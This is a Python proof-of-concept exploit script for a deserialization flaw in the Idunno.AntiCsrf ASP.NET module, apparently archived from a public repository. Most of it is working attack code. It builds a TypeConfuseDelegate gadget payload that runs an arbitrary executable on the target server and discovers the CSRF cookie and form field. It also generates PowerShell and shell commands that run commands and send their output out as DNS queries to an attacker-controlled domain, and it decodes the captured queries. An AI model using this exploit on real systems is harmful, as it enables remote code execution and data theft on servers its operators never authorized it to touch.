#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/Hakchandara/CVE-2026-131914 (see README for attribution/license)
"""CVE-2026-131914 PoC: Idunno.AntiCsrf unkeyed ObjectStateFormatter deserialization.

For lab use and testing only. Pure Python, standard library only: no ysoserial.net and no
Windows host is needed. The payload is built here from a template (see PAYLOAD below).

Mechanism (read from the upstream 0.9.1 Beta source): on a POST to a System.Web.UI.Page that is not
opted out, AntiCsrfModule.PreRequestHandlerExecute calls
    new ObjectStateFormatter().Deserialize(Request.Form[field])
as soon as the CSRF cookie and the CSRF form field are both non-empty, before it compares the token.
ObjectStateFormatter is constructed without MAC, key or binder, so any serializable gadget chain runs
inside w3wp.exe. The module's own error handling runs afterwards: a successful exploit ends in an error
response (500 with customErrors off), not in a 200.

This script makes one GET to read the cookie name (Set-Cookie) and the field name (hidden input the
module renders), then one POST with the payload URL-encoded in that field.

PAYLOAD: the TypeConfuseDelegate graph (ysoserial.net, pwntester) serialized by LosFormatter without
MAC keys, which is the wire format ObjectStateFormatter reads. The graph is a SortedSet<string> whose
comparison delegate has been type-confused so that comparing the second item against the first calls
Process.Start(Items[1], Items[0]). So Items[0] is the argument string and Items[1] is the executable.
The template below was produced by
    ysoserial.exe -f losformatter -g TypeConfuseDelegate --rawcmd -c "C:\\FILEPLACEHOLDER.exe ARGSPLACEHOLDERARGSPLACEHOLDER"
(ysoserial.net v1.36); build() replaces the two strings with their 7-bit length prefixes.
The builder reproduces ysoserial.net output byte for byte (18 reference payloads: 1 to 330 byte strings,
UTF-8 multi-byte, both item orders). The type names in the template reference mscorlib 4.0.0.0, so the
target must run the CLR 4 line (.NET Framework 4.x) in full trust.

Out-of-band mode (--oob): the payload runs
    cmd.exe /c nslookup <label.>%COMPUTERNAME%.<domain>
so the DNS query itself carries the hostname of the compromised server.
"""

import argparse
import base64
import binascii
import os
import re
import struct
import subprocess
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid

UA = "cve-2026-131914-poc/1.1"
CMD_EXE = r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ZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5Bg4AAAAaU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MGDwAAAAVTdGFydAkQAAAABAkAAAAvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIHAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNzTmFtZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQ8AAAAJDQAAAAkOAAAABhQAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGFQAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQoAAAAJAAAABhYAAAAHQ29tcGFyZQkMAAAABhgAAAANU3lzdGVtLlN0cmluZwYZAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGgAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKARAAAAAIAAAABhsAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw=="
HINTS = (
    "MissingManifestResourceException",
    "Idunno.AntiCsrf",
    "PotentialCsrfException",
    "Could not load type",
    "Parser Error",
    "Runtime Error",
)

PLACEHOLDERS = (b"ARGSPLACEHOLDERARGSPLACEHOLDER", b"C:\\FILEPLACEHOLDER.exe")


class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        return None


opener = urllib.request.build_opener(NoRedirect)


def read7(b, i):
    """Read a 7-bit encoded integer at b[i]; return (value, next index)."""
    v = s = 0
    while True:
        x = b[i]
        i += 1
        v |= (x & 0x7F) << s
        s += 7
        if not x & 0x80:
            return v, i


def write7(n):
    out = bytearray()
    while True:
        x = n & 0x7F
        n >>= 7
        if n:
            out.append(x | 0x80)
        else:
            out.append(x)
            return bytes(out)


PS_EXE = r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"


def _lookup(var, resolver):
    """nslookup call for a name held in $<var>, optionally to a given resolver."""
    if not resolver:
        return f'& nslookup "${var}" | Out-Null'
    host, _, port = resolver.partition(":")
    opt = f"-port={port} " if port else ""
    return f'& nslookup {opt}"${var}" {host} | Out-Null'


def sh_dns_command(domain, command, nonce=""):
    """POSIX shell that leaks `command` output as DNS queries.

    For the Linux/Mono lab, where PowerShell is unavailable: od + cut chunk the
    hex output, getent issues one query per 24 bytes as <idx>.<hex>.<host>.<domain>.
    """
    return (
        "o=$(" + command + " 2>&1); "
        'h=$(echo "$o" | od -An -tx1 | tr -d " \\n"); '
        '[ -n "$h" ] || h=00; i=0; '
        "while [ $i -lt ${#h} ]; do "
        'c=$(echo "$h" | cut -c$((i+1))-$((i+48))); '
        'n="$(printf %03d $((i/48))).$c.$(hostname).'
        f'{nonce}{domain}"; echo "$n"; getent hosts "$n" >/dev/null 2>&1; '
        "i=$((i+48)); done"
    )


def dns_command(domain, command, resolver=None, nonce=""):
    """PowerShell that runs `command` and leaks its output as DNS queries.

    Each query is  <index>.<hex-chunk>.<host>.<domain>  with 48 hex characters
    (24 bytes) per chunk, so a short result such as `hostname` is one query and
    nothing else. Output only travels as DNS, which keeps the channel working
    when HTTP egress is blocked.

    With `resolver` ("host" or "host:port") the queries go to that DNS server
    instead of the system resolver, which lets the channel be proven against a
    listener you control instead of a third-party service.
    """
    inner = command.replace("'", "''")
    script = "".join(
        [
            "$ErrorActionPreference='SilentlyContinue';",
            f"$o=(& cmd.exe /c '{inner} 2>&1' | Out-String).Trim();",
            "$h=[BitConverter]::ToString([Text.Encoding]::UTF8.GetBytes($o)).Replace('-','').ToLower();",
            "if(-not $h){$h='00'};$i=0;",
            "while($i -lt $h.Length){",
            "$c=$h.Substring($i,[Math]::Min(48,$h.Length-$i));",
            f'$n="{{0:d3}}.{{1}}.{{2}}.{nonce}{domain}" -f [int]($i/48),$c,$env:COMPUTERNAME;',
            _lookup("n", resolver) + ";",
            "$i+=48}",
        ]
    )
    enc = base64.b64encode(script.encode("utf-16-le")).decode("ascii")
    return PS_EXE, "-NoProfile -EncodedCommand " + enc


DNS_CHUNK = re.compile(r"\b(\d{3})\.([0-9a-fA-F]{2,63})\.([A-Za-z0-9_-]{1,63})\.")
DNS_DONE = re.compile(r"\bdone\.(\d+)\.([A-Za-z0-9_-]{1,63})\.")


def dns_decode(text):
    """Order the exfil chunks found in `text` and return the decoded output.

    The input can be a Burp Collaborator interaction list or its JSON, a DNS
    server log, or pasted text: only the query names matter. Completeness is
    inferred from the chunk indices, so no end marker is needed.
    """
    chunks, host = {}, None
    for match in DNS_CHUNK.finditer(text):
        index, hexpart, label = int(match.group(1)), match.group(2), match.group(3)
        if len(hexpart) % 2:
            continue
        chunks.setdefault(index, hexpart)
        host = host or label
    if not chunks:
        raise ValueError("no exfil queries found in the input")
    expected = max(chunks) + 1
    marker = DNS_DONE.search(text)
    if marker:
        expected = max(expected, int(marker.group(1)))
    missing = [i for i in range(expected) if i not in chunks]
    blob = "".join(chunks[i] for i in sorted(chunks))
    output = binascii.unhexlify(blob).decode("utf-8", "replace")
    return host, len(chunks), missing, output


def build(exe, args):
    """Return the base64 payload for Process.Start(exe, args) on the target."""
    raw = base64.b64decode(TEMPLATE_B64)
    n, off = read7(raw, 3)  # FF 01 32 <7-bit length> <BinaryFormatter stream>
    bf = bytearray(raw[off : off + n])
    for old, new in zip(PLACEHOLDERS, (args.encode("utf-8"), exe.encode("utf-8"))):
        i = bf.index(old)
        if bf.count(old) != 1:
            raise ValueError("template placeholder not unique")
        w = len(write7(len(old)))
        ln, s = read7(bf, i - w)
        if s != i or ln != len(old):
            raise ValueError("template length prefix mismatch")
        bf[i - w : i + len(old)] = write7(len(new)) + new
    return base64.b64encode(b"\xff\x01\x32" + write7(len(bf)) + bytes(bf)).decode(
        "ascii"
    )


def selftest():
    """The builder must reproduce the template itself and handle multi-byte lengths."""
    if (
        build("C:\\FILEPLACEHOLDER.exe", "ARGSPLACEHOLDERARGSPLACEHOLDER")
        != TEMPLATE_B64
    ):
        raise AssertionError("template round trip failed")
    long_args = "A" * 5000
    p = base64.b64decode(build(r"C:\Windows\System32\cmd.exe", long_args))
    n, off = read7(p, 3)
    if off + n != len(p) or long_args.encode() not in p:
        raise AssertionError("long argument encoding failed")
    print("selftest ok: template round trip, 5000-byte argument")


def http(req, timeout):
    t0 = time.time()
    try:
        r = opener.open(req, timeout=timeout)
        return r.status, r.reason, r.headers, r.read(), time.time() - t0
    except urllib.error.HTTPError as e:
        return e.code, e.reason, e.headers, e.read(), time.time() - t0


def discover(target, timeout, headers):
    """Cookie name and form field name, from a normal GET of the target page."""
    req = urllib.request.Request(target, headers=headers)
    try:
        status, reason, h, data, _ = http(req, timeout)
    except Exception as e:
        return None, None, f"GET failed: {type(e).__name__}: {e}"
    text = data.decode("utf-8", "replace")
    cookie = None
    for c in h.get_all("Set-Cookie") or []:
        if (
            re.search(r"=[0-9a-f]{8}-[0-9a-f-]{27};", c, re.I)
            and "httponly" in c.lower()
        ):
            cookie = c.split("=", 1)[0].strip()
            break
    matches = re.findall(
        r'<input type="hidden" name="([^"]*)" id="[^"]*" value="([^"]*)"', text
    )
    field = value = None
    for name, val in matches:
        if re.search(r"csrf|token", name, re.I):
            field, value = name, val
            break
    if field is None and matches:
        field, value = matches[0]
    return cookie, field, value, f"GET status={status} len={len(data)}"


LAB_ASM = "LabAntiCsrf, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null"
LAB_HEADER = b"\x00" + struct.pack("<iiii", 1, -1, 1, 0)


def lab_lp(text):
    raw = text.encode()
    return write7(len(raw)) + raw


def lab_graph(type_name, member, value):
    """Class record: 0x05, ObjectId, Name, MemberCount, MemberNames, typeEnum, LibraryId."""
    return (
        LAB_HEADER
        + b"\x0c"
        + struct.pack("<i", 2)
        + lab_lp(LAB_ASM)
        + b"\x05"
        + struct.pack("<i", 1)
        + lab_lp(type_name)
        + struct.pack("<i", 1)
        + lab_lp(member)
        + b"\x01"
        + struct.pack("<i", 2)
        + b"\x06"
        + struct.pack("<i", 2)
        + lab_lp(value)
        + b"\x0b"
    )


def lab_wire(token, body):
    return b"\xff\x01" + bytes([token]) + write7(len(body)) + body


def _lab_http(url, data=None, cookie="__CSRFCOOKIE=1", timeout=20):
    req = urllib.request.Request(url, data=data, method="POST" if data else "GET")
    if data:
        req.add_header("Content-Type", "application/x-www-form-urlencoded")
        req.add_header("Cookie", cookie)
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.status, resp.headers, resp.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as exc:
        return exc.code, exc.headers, exc.read().decode("utf-8", "replace")


def detect_mono(target, timeout=10):
    """True when the target identifies as Mono/XSP instead of IIS."""
    try:
        req = urllib.request.Request(target, headers={"User-Agent": UA})
        status, reason, headers, data, _ = http(req, timeout)
    except Exception:
        return False
    server = headers.get("Server") or ""
    return "mono" in server.lower()


def read_marker(base=None):
    """Marker text: from the lab container, else from the app's proof page."""
    if base:
        try:
            _, _, body = _lab_http(base + "/proof.aspx", None, "x=1", timeout=10)
        except Exception:
            body = ""
        hit = re.search(r"Proof ID:\s*<code>(.*?)</code>", body, re.S)
        if hit:
            text = hit.group(1)
            return (
                text.replace("&amp;", "&")
                .replace("&lt;", "<")
                .replace("&gt;", ">")
                .strip()
            )

    try:
        listing = subprocess.run(
            ["docker", "ps", "--format", "{{.Names}}\t{{.Image}}"],
            capture_output=True, text=True, timeout=10,
        ).stdout
    except Exception:
        return None
    for line in listing.splitlines():
        name, _, image = line.partition("\t")
        if "anticsrf" in image or "anti-csrf" in image or name.endswith("-web-1"):
            try:
                out = subprocess.run(
                    ["docker", "exec", name, "cat", "/tmp/anticsrf-rce-proof.txt"],
                    capture_output=True, text=True, timeout=10,
                )
            except Exception:
                continue
            if out.returncode == 0:
                return out.stdout.strip()
    return None


def _c(code):
    return f"\033[{code}m" if sys.stdout.isatty() else ""


def stage(tag, name, detail="", wait=0.05):
    """One line of the execution trace."""
    colour = {"*": "36", ">": "35", "<": "33", "+": "32", "~": "33", "!": "31"}
    head = f"{_c(colour.get(tag, '0'))}[{tag}]{_c('0')}"
    print(f"{head} {name:<12} {detail}".rstrip(), flush=True)
    time.sleep(wait)


def progress(done, total, label):
    """Live bar for work that actually takes time (id probing)."""
    if not sys.stdout.isatty():
        return
    width = 22
    fill = int(width * done / total)
    bar = "\u2588" * fill + "\u00b7" * (width - fill)
    print(
        f"\r{_c('35')}[>]{_c('0')} {label:<12} [{bar}] {done:>2}/{total}",
        end="",
        flush=True,
    )


def progress_end(label, detail):
    if sys.stdout.isatty():
        print("\r" + " " * 64 + "\r", end="", flush=True)
    stage("*", label, detail)


def typewrite(name, text, delay=0.004):
    """Reveal the result character by character."""
    head = f"{_c('32')}[+]{_c('0')} {name:<12} "
    if not sys.stdout.isatty():
        print(head + text, flush=True)
        return
    print(head, end="", flush=True)
    for ch in text:
        sys.stdout.write(ch)
        sys.stdout.flush()
        time.sleep(delay)
    print()


def lab_run(a):
    """Mono lab engine: crafts the graph, posts it, reads the side effect.

    Mono assigns ObjectStateFormatter ids at runtime, so the binary-object token
    is probed unless --token-id is given.
    """
    base = a.target.rstrip("/")
    field_name = a.field_name or "__CSRFTOKEN"
    cookie = f"{a.cookie_name or '__CSRFCOOKIE'}={a.cookie_value}"

    stage("*", "target", base)
    status, _, page = _lab_http(base + "/login.aspx", None, cookie)
    hit = re.search(
        r'<input type="hidden" name="' + re.escape(field_name) + r'"[^>]*value="([^"]*)"',
        page,
    )
    stage("*", "form field", f"{field_name} = {hit.group(1)}" if hit else field_name)

    def send(token, body):
        data = urllib.parse.urlencode(
            {field_name: base64.b64encode(lab_wire(token, body)).decode()}
        ).encode()
        return _lab_http(base + "/dashboard.aspx", data, cookie)[0]

    token = a.token_id
    if token is None:
        good = LAB_HEADER + b"\x06" + struct.pack("<i", 1) + lab_lp("probe") + b"\x0b"
        bad = LAB_HEADER + b"\x7f" + b"\x00" * 8
        for cand in range(1, 65):
            progress(cand, 64, "formatter")
            if send(cand, good) != 500 and send(cand, bad) == 500:
                token = cand
                break
    if token is None:
        if sys.stdout.isatty():
            print("\r" + " " * 64 + "\r", end="", flush=True)
        stage("!", "formatter", "no binary-object id in 1..64")
        return 1
    progress_end("formatter", f"{token:#04x} (id {token})")

    for attempt in range(1, 4):
        if attempt > 1:
            stage("!", "retry", f"attempt {attempt}/3")

        if a.proof:
            expect = str(uuid.uuid4())
            body = lab_graph("LabAntiCsrf.DeserializationProof", "proofId", expect)
        elif a.dns:
            command = a.cmd or "hostname"
            expect = uuid.uuid4().hex[:6]
            body = lab_graph(
                "LabAntiCsrf.CommandProof",
                "cmd",
                sh_dns_command(a.dns, command, expect + "."),
            )
        else:
            command = a.cmd or "id"
            expect = "__POC__" + uuid.uuid4().hex[:12]
            body = lab_graph(
                "LabAntiCsrf.CommandProof", "cmd", f"{command} && echo {expect}"
            )

        stage(">", "POST", "/dashboard.aspx")
        status = send(token, body)
        stage("<", "status", str(status))

        if a.dns:
            sent = read_marker(base) or ""
            if expect not in sent:
                continue
            names = [n.strip() for n in sent.splitlines() if "." in n]
            try:
                _, count, missing, output = dns_decode(sent)
            except (ValueError, binascii.Error):
                continue
            for name in names:
                stage("<", "query", name)
            typewrite("encoded", output.strip())
            return 0 if not missing else 1

        marker = read_marker(base)
        if marker and (expect is None or expect in marker):
            shown = marker.split("__POC__")[0].strip() or marker.strip()
            typewrite("output", shown)
            return 0

    stage("!", "result", "no side effect after 3 attempts")
    return 1


def main() -> int:
    ap = argparse.ArgumentParser(description=(__doc__ or "").split("\n")[0])
    ap.add_argument(
        "--target", help="URL of an .aspx page (not opted out); required to send"
    )
    g = ap.add_mutually_exclusive_group()
    g.add_argument(
        "--oob",
        metavar="DOMAIN",
        help="DNS callback: nslookup <label.>%%COMPUTERNAME%%.DOMAIN",
    )
    g.add_argument(
        "--cmd", metavar='"EXE ARGS"', help="run EXE with ARGS (first space separates)"
    )
    g.add_argument("--payload", help="send this literal value instead (benign probes)")
    g.add_argument(
        "--payload-file", help="send the file content instead (prebuilt payload)"
    )
    ap.add_argument("--exe", help="with --cmd omitted: executable for the payload")
    ap.add_argument(
        "--args", help="with --cmd omitted: argument string for the payload"
    )
    ap.add_argument(
        "--oob-label",
        default="",
        help="prefix label before the hostname (DNS label chars)",
    )
    ap.add_argument(
        "--host-expr",
        default="%COMPUTERNAME%",
        help="cmd.exe expression for the host label",
    )
    ap.add_argument(
        "--cmd-exe",
        default=CMD_EXE,
        help="shell used for %%VAR%% expansion (default: cmd.exe)",
    )
    ap.add_argument(
        "--dns",
        metavar="DOMAIN",
        help="leak the --cmd output as DNS queries: <idx>.<hex>.<host>.DOMAIN",
    )
    ap.add_argument(
        "--dns-server",
        metavar="HOST[:PORT]",
        help="send --dns queries to this resolver instead of the system one",
    )
    ap.add_argument(
        "--dns-decode",
        metavar="FILE",
        nargs="?",
        const="-",
        help="decode captured exfil queries (Burp Collaborator text/JSON, DNS log; - = stdin)",
    )
    ap.add_argument(
        "--lab",
        action="store_true",
        help="force the lab engine (CommandProof) instead of the .NET gadget",
    )
    ap.add_argument(
        "--gadget",
        action="store_true",
        help="force the .NET gadget engine even if the target looks like Mono",
    )
    ap.add_argument(
        "--proof",
        action="store_true",
        help="with --lab: deserialize only, run no command",
    )
    ap.add_argument(
        "--token-id",
        type=int,
        help="with --lab: formatter id to use instead of probing",
    )
    ap.add_argument("--cookie-name")
    ap.add_argument("--field-name")
    ap.add_argument(
        "--cookie-value",
        default="1",
        help="any non-empty value clears the cookie check",
    )
    ap.add_argument(
        "--no-cookie", action="store_true", help="omit the CSRF cookie (control)"
    )
    ap.add_argument(
        "--accept-language",
        default="en-US",
        help="send this Accept-Language ('' = none)",
    )
    ap.add_argument("--timeout", type=float, default=60.0)
    ap.add_argument(
        "--dry-run",
        action="store_true",
        help="build and print the payload, send nothing",
    )
    a = ap.parse_args()

    if a.dns_server:
        _, _, port_part = a.dns_server.partition(":")
        if port_part and not port_part.isdigit():
            ap.error("--dns-server port must be numeric: HOST[:PORT]")

    if a.dns_decode is not None:
        if a.dns_decode == "-":
            text = sys.stdin.read()
        else:
            try:
                text = open(a.dns_decode, encoding="utf-8", errors="replace").read()
            except OSError as exc:
                ap.error(f"cannot read {a.dns_decode}: {exc.strerror}")
        try:
            host, seen, missing, output = dns_decode(text)
        except (ValueError, binascii.Error) as exc:
            ap.error(str(exc))
        print(f"host   : {host or 'unknown'}")
        if missing:
            gaps = ", ".join(f"{i:03d}" for i in missing)
            print(f"chunks : {seen} (missing {gaps}: INCOMPLETE)")
        else:
            print(f"chunks : {seen} (contiguous)")
        print("output :")
        print(output)
        return 0

    if not a.target:
        ap.error("--target is required unless you are decoding with --dns-decode")

    if a.proof and a.dns:
        ap.error("--proof cannot be combined with --dns")
    if a.token_id is not None and not 1 <= a.token_id <= 255:
        ap.error("--token-id must be between 1 and 255")

    a.lab = bool(a.proof or a.lab) or (
        bool(a.target)
        and not a.gadget
        and not a.oob
        and a.payload is None
        and not a.payload_file
        and bool(a.cmd or a.exe or a.args or a.dns )
        and detect_mono(a.target, a.timeout)
    )

    if a.lab:
        if a.oob:
            ap.error("--lab cannot be combined with --oob")
        return lab_run(a)

    if a.dns:
        domain = a.dns.strip().lower()
        if "://" in domain:
            domain = urllib.parse.urlsplit(domain).hostname or domain
        domain = domain.strip(".")
        if not re.fullmatch(r"[a-z0-9-]+(\.[a-z0-9-]+)+", domain):
            ap.error(
                "--dns needs a dotted domain; a Burp Collaborator domain "
                "(abc123.oastify.com) works as-is"
            )
        nonce = uuid.uuid4().hex[:6]
        exe, args = dns_command(
            domain, a.cmd or "whoami", a.dns_server, nonce + "."
        )
        query = (
            f"<idx>.<hex>.<COMPUTERNAME>.{nonce}.{domain} (one per 24 bytes)"
        )
        if a.dns_server:
            query += f" via {a.dns_server}"
    elif a.oob:
        if not re.fullmatch(r"[A-Za-z0-9-]+(\.[A-Za-z0-9-]+)+", a.oob):
            ap.error("--oob must be a dotted domain such as abc123.example.com")
        label = f"{a.oob_label}." if a.oob_label else ""
        if a.oob_label and not re.fullmatch(
            r"[A-Za-z0-9-]+(\.[A-Za-z0-9-]+)*", a.oob_label
        ):
            ap.error("--oob-label: DNS labels only (letters, digits, hyphen, dots)")
        exe, args = a.cmd_exe, f"/c nslookup {label}{a.host_expr}.{a.oob}"
        query = f"{label}{a.host_expr}.{a.oob}"
    elif a.cmd:
        exe, _, args = a.cmd.partition(" ")
        query = None
    elif a.exe or a.args:
        exe, args, query = a.exe or "", a.args or "", None
    else:
        exe = args = query = None

    if exe is not None:
        payload = build(exe, args)
    elif a.payload_file:
        try:
            payload = open(a.payload_file).read().strip()
        except OSError as exc:
            ap.error(f"cannot read {a.payload_file}: {exc.strerror}")
    elif a.payload is not None:
        payload = a.payload
    else:
        ap.error(
            "give one of --dns, --oob, --cmd, --exe/--args, --payload, --payload-file"
        )

    if a.dry_run:
        if exe is not None:
            name = exe.rsplit("\\", 1)[-1].rsplit("/", 1)[-1] if exe else "?"
            stage("*", "payload", f"{name} ({len(payload)} chars)")
        else:
            stage("*", "payload", f"literal ({len(payload)} chars)")
        if query:
            stage("*", "query", query)
        print(payload)
        return 0

    headers = {"User-Agent": UA}
    if a.accept_language:
        headers["Accept-Language"] = a.accept_language

    parts = urllib.parse.urlsplit(a.target)
    path = parts.path.rstrip("/")
    if path.lower().endswith(".aspx"):
        discover_url = post_url = a.target
    else:
        base_url = urllib.parse.urlunsplit((parts.scheme, parts.netloc, path, "", ""))
        discover_url = base_url + "/login.aspx"
        post_url = base_url + "/dashboard.aspx"

    cookie_name, field_name, token_value, note = discover(
        discover_url, a.timeout, headers
    )
    stage("*", "target", a.target)
    stage("*", "engine", "gadget (.NET / IIS)")
    cookie_name = a.cookie_name or cookie_name or "__CSRFCOOKIE"
    field_name = a.field_name or field_name or "__CSRFTOKEN"
    if cookie_name:
        stage("*", "cookie", cookie_name)
    stage("*", "form field", f"{field_name} = {token_value}" if token_value else field_name)
    stage("*", "formatter", "0x32 (fixed, .NET)")
    if exe is not None:
        full = f"{exe} {args}".strip()
        if len(full) <= 400:
            stage(">", "payload", full)
        else:
            stage(">", "payload", f"{exe} (args {len(args)} chars)")
            if "-EncodedCommand" in args:
                try:
                    enc = args.split("-EncodedCommand", 1)[1].strip()
                    stage(">", "script", base64.b64decode(enc).decode("utf-16-le"))
                except Exception:
                    pass
    if query:
        stage(">", "query", query)

    body = urllib.parse.urlencode({field_name: payload}).encode()
    req = urllib.request.Request(post_url, data=body, method="POST", headers=headers)
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    if not a.no_cookie:
        req.add_header("Cookie", f"{cookie_name}={a.cookie_value}")

    stage(">", "POST", urllib.parse.urlsplit(post_url).path or "/")
    try:
        status, reason, rh, data, dt = http(req, a.timeout)
    except Exception as e:
        stage("!", "transport", f"{type(e).__name__}: {e}")
        return 2

    text = data.decode("utf-8", "replace")
    stage("<", "status", f"{status} {reason} ({dt:.2f}s)")

    loc = rh.get("Location")
    if loc:
        stage("<", "location", loc)
    m = re.search(r"<title>(.*?)</title>", text, re.S)
    if m:
        stage("<", "title", " ".join(m.group(1).split())[:200])
    m = re.search(r"Exception Details:\s*</b>(.*?)<br>", text, re.S)
    if m:
        stage("!", "exception", " ".join(re.sub(r"<[^>]+>", "", m.group(1)).split())[:200])

    if status >= 500:
        stage("!", "output", "sink threw - execution unconfirmed")
        return 3
    if a.dns:
        stage("~", "output", "encoded on the target - check " + a.dns)
    elif exe is not None:
        stage("~", "output", "not carried by this response - check the side effect")
    return 0


if __name__ == "__main__":
    try:
        if len(sys.argv) > 1 and sys.argv[1] == "--selftest":
            selftest()
        else:
            sys.exit(main())
    except BrokenPipeError:
        # reader closed (head, less): drop the pending buffer and leave quietly
        try:
            os.dup2(os.open(os.devnull, os.O_WRONLY), sys.stdout.fileno())
        except Exception:
            pass
        os._exit(0)
